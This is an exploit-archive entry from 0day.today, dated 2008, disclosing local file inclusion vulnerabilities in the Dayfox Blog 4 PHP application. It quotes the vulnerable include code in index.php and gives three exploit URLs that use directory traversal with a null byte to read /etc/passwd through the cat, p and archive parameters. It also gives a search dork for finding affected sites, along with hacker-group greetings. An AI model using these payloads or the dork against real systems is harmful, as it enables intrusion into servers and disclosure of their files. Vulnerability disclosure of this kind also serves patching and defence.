Dayfox Blog 4 Multiple Local File Inclusion Vulnerabilities

2008-08-04T00:00:00
ID 1337DAY-ID-3504
Type zdt
Reporter 0day Today Team
Modified 2008-08-04T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===========================================================
Dayfox Blog 4 Multiple Local File Inclusion Vulnerabilities
===========================================================



--------
Discoverd By :Virangar Security Team (hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra

& all virangar members & all iranian hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from ISCN
-----------------------------------
Download: http://www.dayfoxdesigns.co.nr
Dork:Powered by Dayfox Designs This is a port of WordPress  
-------------------------------------------------------------------------------------------------
vuln codes in index.php:
############line 140-144##################
if (isset($_GET["cat"])) {
    $page = 'entries/'.strip_tags(htmlspecialchars($_GET["cat"])).'.txt';
        if (file_exists($page)) {
            echo "<br /><a href=\"javascript: history.go(-1)\">< Back</a>";
            @include ("$page");
############line 173-178###################
if (isset($_GET["p"])) {
    $page = 'entries/'.strip_tags(htmlspecialchars($_GET["p"])).'.txt';
    $pagecomments = 'entries/'.strip_tags(htmlspecialchars($_GET["p"])).'comments.txt';
        if (file_exists($page)) {
        echo '<br /><a href="javascript: history.go(-1)">< Back</a>';
          include ("$page");
############line 209-213##################
if (isset($_GET["archive"])) {
    $page = 'entries/'.strip_tags(htmlspecialchars($_GET["archive"])).'.txt';
        if (file_exists($page)) {
        echo '<br /><a href="javascript: history.go(-1)">< Back</a>';
          include ("$page");
----------------------------------------------------------------------------------------------------

exploit:
http://site.com/index.php?p=../../../../../../../etc/passwd%00        
http://site.com/index.php?cat=../../../../../../../etc/passwd%00
http://site.com/index.php?archive=../../../../../../../etc/passwd%00
--------
young iranian h4ck3rz



#  0day.today [2018-03-20]  #